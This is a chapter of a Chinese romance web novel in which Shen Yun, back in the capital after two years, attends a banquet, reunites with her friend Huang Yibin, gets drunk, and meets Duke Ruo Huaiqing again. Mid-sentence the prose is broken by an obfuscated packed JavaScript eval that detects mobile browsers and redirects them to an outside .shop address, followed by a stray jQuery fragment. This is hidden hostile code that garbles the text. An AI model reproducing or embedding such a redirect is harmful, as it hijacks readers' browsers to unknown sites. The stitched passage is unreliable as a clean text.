沈蕴回京的消息知情者不多,盛京城中只有几人知道,黄依鬓就是其中一个。
沈蕴原以为黄依鬓在得知这个消息之后会急不可耐地上门来找麻烦,她一连等了好几日,只等到一张请帖。
秋生呈着请帖进门:“掌柜的,有人送请帖。”
沈蕴急不可耐地拆了请帖,将帖子上的烫金大字来来回回瞧了好几遍,秋生也好奇地凑了个脑袋过来:“是什么呀?”
沈蕴收了请帖,笑得眉眼弯弯:“黄大人的五十周岁宴。”
秋生了然:“早些日子听见了些风声,掌柜要去赴宴吗?”
“去,好久没见他女儿了,想得慌。”
黄府生宴那日,沈蕴早早便备礼赴宴,甫一入府便被黄依鬓迎面逮住,她叉腰质问:“好啊你,回来多久了也不见得来找我玩,若不是我下请帖是不是打算这辈子都不见我了!”
沈蕴抱头讪笑:“哪能呢。”
“你何时回来的?”
“就这几天。”
“你真是长本事了,当日一言不发就走,如今又一言不发地回来。”
沈蕴没敢顶嘴。
黄依鬓恨铁不成钢地瞪了她一眼,凑到她耳边悄声问:“你回来的事儿没多少人知道吧。”
“这都不重要。”沈蕴无所谓道:“我回盛京也不犯律法,再说了,我都敢来赴宴了,还在乎这个?”
黄依鬓瞧了眼来来往往的宾客,哼道:“这倒是。”
说起来,二人真是很久没见了,黄依鬓将她从头到脚打量一遍,道:“你还是老样子,一点没变。”
沈蕴笑了笑:“你变了,变得像个……大家闺秀了。”
“那当然,我好歹也是婚约在即,要出阁的姑娘了,总不好再毛毛躁躁。”
沈蕴大惊:“原来是好事将近。”
想当初,沈蕴刚离京的时候,黄依鬓还咋咋呼呼没个正形,转眼两年过去了,她也越发端庄了。两人醉酒纵马的场面犹在昨日,如今再见,心境却已然天翻地覆。
黄依鬓笑了笑:“说起来真是汗颜,当日我还为了婚事寻死觅活……幸好这样的丑态只有你瞧见了。”
沈蕴问:“最后定了谁?”
“吏部侍郎之子。”黄依鬓苦笑道:“那日仲夏宫宴上为你出了头,将崔相得罪了个彻底,父亲官运低迷了好一阵,定下婚事之后才好了些。”
沈蕴说不感激那是假的,道谢的话语卡在喉咙却怎么也说不出来。
黄依鬓见她这幅眼热的模样,连忙道:“你可千万不要说些什么感谢啊之类的,我会以为你中邪了的。”
“……”沈蕴只好道:“柳姑娘呢?怎么没见她?她如今过得怎样?”
一说到柳长青,黄依鬓立马来了兴致,“柳姐姐啊,她科举三元及第,如今身任集贤院大学士,如今圣眷正浓。”
“那是最好。”沈蕴顿了顿,道:“那……崔相可有……”
“自然是有的。”黄依鬓道:“不过柳氏乃文官清流,柳姐姐母家又是曲阜孔师后代,门客遍布朝野,崔相即便想为难也不好下手。”
沈蕴松了口气:“那便好。”
“……”沈蕴觉得有些话还是说出口比较好:“那时走得急,没来得及说,多谢你们愿意替我作证。”
“打住!”黄依鬓有点受不了这种温情的场景,急忙道:“我原是没有这个胆子替你出头作证的,是柳姐姐说,若不帮你,恐怕你就要被崔语轻钉死,要谢去谢她吧。”
沈蕴眼头一热:“确实应该好好谢谢她,她今日会来赴宴的吧。”
“并不会。”黄依鬓耸了耸肩:“今日没轮到她休沐。”
沈蕴点了点头:“那真是很可惜了,只能下次见面再谢了。”
“行了,这些话日后再说吧,先入席吧。”
席间,沈蕴毫不客气地吃着桌上的珍馐美酒,宾客络绎不绝来来往往,却没有多少人会如从前一般专门来给沈蕴寻不痛快。
沈蕴难免感怀:“都没有几张看着眼熟的面孔了。”
黄依鬓一副看大爷的表情:“你一走就两年了,两年!那些从前看着眼熟的人都各奔东西了。”
沈蕴又一杯美酒入愁肠,摇了摇头。
黄依鬓睨了她一眼:“不过,今日还真有熟人。”
沈蕴随口问:“谁啊。”
“当朝辅国公,前任国子监祭酒——若怀卿大人。”
沈蕴猝不及防被一口酒呛在喉咙里。
“这么大反应?”黄依鬓瞅了眼她没出息的样子,嗤道:“也是,毕竟你俩从前针锋对麦芒的。”
沈蕴乍一听这消息还感觉有些无所适从,毕竟两人自望月崖回来之后就没再见过面了。她本能地察觉到两人之间的氛围变得有些奇怪,但她又无法形容出来是哪里奇怪,她也不知道自己乍然和若怀卿见面要说些什么,要不要主动和他打招呼,如果要打招呼的话,用什么样的表情会比较合适呢?
为什么大家都觉得自己和若怀卿关系不合,难道从前若怀卿真的很讨厌自己吗?
沈蕴垂头看着杯中晶莹的酒液,仿佛这些流动的液体里蕴藏着无限的魔力,吸引着她神游天外。直到有一道突兀的男声在耳畔响起:
“姑娘?”
沈蕴抬头,看见了一张陌生的脸。
那男子朝黄依鬓作了个揖算作问安,转而看向沈蕴,似乎有些不好意思:“姑娘安好。”
沈蕴点点头:“你好。”
他笑得很腼腆,但眼神中闪烁着微光:“敢问姑娘贵姓?改日可否容许我像贵府递拜帖?”
“可能不太行。”沈蕴大大咧咧道:“我姓沈,就是两年前被抄家查封了的御史沈府。”
那男子的神情瞬间凝固了。
这个时候,一旁的黄依鬓频频扒拉沈蕴,小声道:“沈蕴,沈蕴你看谁来了?”
沈蕴不明就里:“谁来了?”顺着黄依鬓的视线一抬头,刚好和若怀卿对视上。
若怀卿就立在不远处,身边簇拥着着好些官员,官员们在和他说些什么,看神态仿佛是在恭维他,他却好似没听,视线始终落在沈蕴身上。
沈蕴在看见他的那一刻,眼神瞬间就明亮了。她无法形容那种感觉,细说起来,就像是周遭的人声都离得远了,日光都聚在若怀卿一人身上。
等她神思回笼的时候,自己已经下意识朝他挥手,并咧嘴绽放了一个大大的笑容,那意思是——又见面啦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17651719|206878||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
!
出乎意料的是,若怀卿的眼神有些冰冷地越过她,落在她身旁的男子身上。
沈蕴福至心灵,朝男子温和一笑:“不好意思,失陪一下。”
“欸。”那男子短促地唤了一声,却只见沈蕴提着裙摆像一阵风似的从他面前卷过。
沈蕴穿过人群,沿着游廊走到假山旁,绕过池水走进花园,站在一棵桂花树下纳闷:“哪去了?我就一秒没看他,走哪去了?”
“找谁呢?慌慌张张的,喊你也听不见?”
沈蕴闻言回头:“小黄!怎么跟出来了?”
黄依鬓没好气道:“你说呢?我以为你出事了,跟出来看看。”
“我能有什么事?”
“你没什么事的话走这么快做什么?躲国公大人?”黄依鬓以为她胆子小,还想嘲笑她两句:“我说你真够了,国公大人两年前就卸任了,现在没人会管你了,不至于……”
“真没躲他。”沈蕴打断她,道:“我是出来找他的,这不是没找到嘛。”
“你最好是。”黄依鬓将信将疑,将手中的东西递给她:“诺,知道你喜欢,特意给你的。”
是一小坛桂花酒。沈蕴接过来,道:“谢了,我确实喜欢。”
她当真一点没客气,一坛酒尽数下腹,很快就醉的双眼迷离,一股馥郁的桂花香味冲上头脑,冲地她头晕目眩,她很迫切地想要抓住些什么。为了倾泻脑中这股莫名的冲动,她本能地缠着黄依鬓号丧一样鬼哭狼嚎不肯放手。
“大人呢?我刚刚还看见呢,怎么不见了?”
黄依鬓把她扒拉开:“梦话留着回房里说。”
沈蕴又缠了上去,不依不饶道:“其实我已经很久没见大人了,他会不会已经认不出我了,应该不至于记忆力这么差吧……”
“沈蕴!”黄依鬓无奈扶额:“你够了,你还是三岁小孩吗,身边得时时刻刻有个大人看护你?”
“什么啊……”沈蕴无缘无故被吼了,也不敢再胡搅蛮缠,呆愣在原地,一双眼睛滴溜滴溜地转,像一樽精致的瓷娃娃。
“不该给你喝酒的,喝点酒就不知道自己姓甚名谁了,”黄依鬓一阵懊恼:“你在这园里待会儿,我找人送你回去。”
“不要。”沈蕴一听她说要走,眼神立刻清明了,死死抱着黄依鬓的双手不准她走:“不要走。你知道吗,今天见到你我很高兴,你是我在盛京唯一的朋友,没想到过了两年你都订婚了,你不能不把我当朋友知道?”
黄依鬓知道不能和喝醉了的人反着来,无奈道:“知道了知道了。”
“那你说,你和沈蕴是好朋友。”
“……”黄依鬓被酸地牙根都疼:“你有病是不是。”
“你说啊!”
“……我和沈蕴是好朋友。”
沈蕴终于满足地笑了起来,眉眼弯成一个十分好看的弧度:“我原本以为,你们……大人!你来了?”
黄依鬓额角抽搐,搞不懂沈蕴在搞什么幺蛾子,便顺着她的目光回头望去,看清来人的瞬间登时紧张了起来。
“国公大人……”
“嗯。”若怀卿站在桂花树下,朝她微微颔首,视线却径直越过她,落在沈蕴脸上。